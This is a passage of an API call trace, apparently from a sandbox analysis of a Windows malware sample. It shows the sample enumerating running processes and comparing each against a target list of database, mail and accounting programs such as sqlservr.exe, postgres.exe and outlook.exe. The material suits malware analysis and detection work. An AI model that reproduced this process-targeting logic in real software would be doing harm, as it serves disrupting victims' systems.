lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0082.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0082.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0082.737] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0082.737] lstrlenW (lpString="csrss.exe") returned 9 [0082.737] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0082.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0082.738] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0082.738] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0082.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0082.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0082.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0082.738] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0082.738] lstrlenW (lpString="wininit.exe") returned 11 [0082.738] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0082.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0082.738] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0082.738] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0082.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0082.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0082.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0082.739] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0082.739] lstrlenW (lpString="csrss.exe") returned 9 [0082.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0082.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0082.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0082.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0082.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0082.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0082.740] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0082.740] lstrlenW (lpString="winlogon.exe") returned 12 [0082.740] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0082.741] lstrlenW (lpString="services.exe") returned 12 [0082.741] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0082.741] lstrlenW (lpString="lsass.exe") returned 9 [0082.742] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0082.742] lstrlenW (lpString="lsm.exe") returned 7 [0082.742] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.743] lstrlenW (lpString="svchost.exe") returned 11 [0082.743] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.744] lstrlenW (lpString="svchost.exe") returned 11 [0082.744] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.744] lstrlenW (lpString="svchost.exe") returned 11 [0082.744] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.745] lstrlenW (lpString="svchost.exe") returned 11 [0082.745] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.746] lstrlenW (lpString="svchost.exe") returned 11 [0082.746] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0082.746] lstrlenW (lpString="audiodg.exe") returned 11 [0082.746] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.747] lstrlenW (lpString="svchost.exe") returned 11 [0082.747] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.747] lstrlenW (lpString="svchost.exe") returned 11 [0082.747] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0082.748] lstrlenW (lpString="dwm.exe") returned 7 [0082.748] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0082.748] lstrlenW (lpString="explorer.exe") returned 12 [0082.748] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0082.749] lstrlenW (lpString="spoolsv.exe") returned 11 [0082.749] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0082.750] lstrlenW (lpString="svchost.exe") returned 11 [0082.750] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0082.750] lstrlenW (lpString="taskhost.exe") returned 12 [0082.751] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0082.751] lstrlenW (lpString="taskeng.exe") returned 11 [0082.751] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0082.752] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0082.752] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0082.752] lstrlenW (lpString="while damaged.exe") returned 17 [0082.752] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0082.753] lstrlenW (lpString="hosted_thee.exe") returned 15 [0082.753] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0082.754] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0082.754] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0082.754] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0082.754] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0082.755] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0082.755] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0082.755] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0082.755] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0082.756] lstrlenW (lpString="l_greene_go.exe") returned 15 [0082.756] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0082.757] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0082.757] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0082.757] lstrlenW (lpString="spots wm.exe") returned 12 [0082.757] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0082.758] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0082.758] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0082.758] lstrlenW (lpString="lp imagination.exe") returned 18 [0082.758] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0082.759] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0082.759] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0082.759] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0082.759] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0082.760] lstrlenW (lpString="voluntary teach.exe") returned 19 [0082.760] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0082.760] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0082.761] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0082.761] lstrlenW (lpString="jesse.exe") returned 9 [0082.761] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0082.762] lstrlenW (lpString="partners_format.exe") returned 19 [0082.762] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0082.762] lstrlenW (lpString="predict.exe") returned 11 [0082.762] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0082.763] lstrlenW (lpString="supervisor.exe") returned 14 [0082.763] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0082.763] lstrlenW (lpString="3dftp.exe") returned 9 [0082.764] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0082.764] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0082.764] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0082.765] lstrlenW (lpString="alftp.exe") returned 9 [0082.765] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0083.155] lstrlenW (lpString="barca.exe") returned 9 [0083.155] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0083.156] lstrlenW (lpString="bitkinex.exe") returned 12 [0083.156] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0083.157] lstrlenW (lpString="coreftp.exe") returned 11 [0083.157] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0083.158] lstrlenW (lpString="far.exe") returned 7 [0083.158] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0083.159] lstrlenW (lpString="filezilla.exe") returned 13 [0083.159] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0083.159] lstrlenW (lpString="flashfxp.exe") returned 12 [0083.160] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0083.160] lstrlenW (lpString="fling.exe") returned 9 [0083.160] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0083.162] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0083.162] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0083.163] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0083.163] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0083.164] lstrlenW (lpString="icq.exe") returned 7 [0083.164] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0083.165] lstrlenW (lpString="leechftp.exe") returned 12 [0083.165] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0083.166] lstrlenW (lpString="ncftp.exe") returned 9 [0083.166] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0083.167] lstrlenW (lpString="notepad.exe") returned 11 [0083.167] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0083.168] lstrlenW (lpString="operamail.exe") returned 13 [0083.168] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0083.169] lstrlenW (lpString="pidgin.exe") returned 10 [0083.169] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0083.171] lstrlenW (lpString="scriptftp.exe") returned 13 [0083.171] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0083.172] lstrlenW (lpString="skype.exe") returned 9 [0083.172] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0083.173] lstrlenW (lpString="smartftp.exe") returned 12 [0083.173] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0083.175] lstrlenW (lpString="thunderbird.exe") returned 15 [0083.175] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0083.176] lstrlenW (lpString="totalcmd.exe") returned 12 [0083.176] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0083.177] lstrlenW (lpString="trillian.exe") returned 12 [0083.177] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0083.178] lstrlenW (lpString="webdrive.exe") returned 12 [0083.178] Process32NextW (in: hSnapshot=0x190, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, 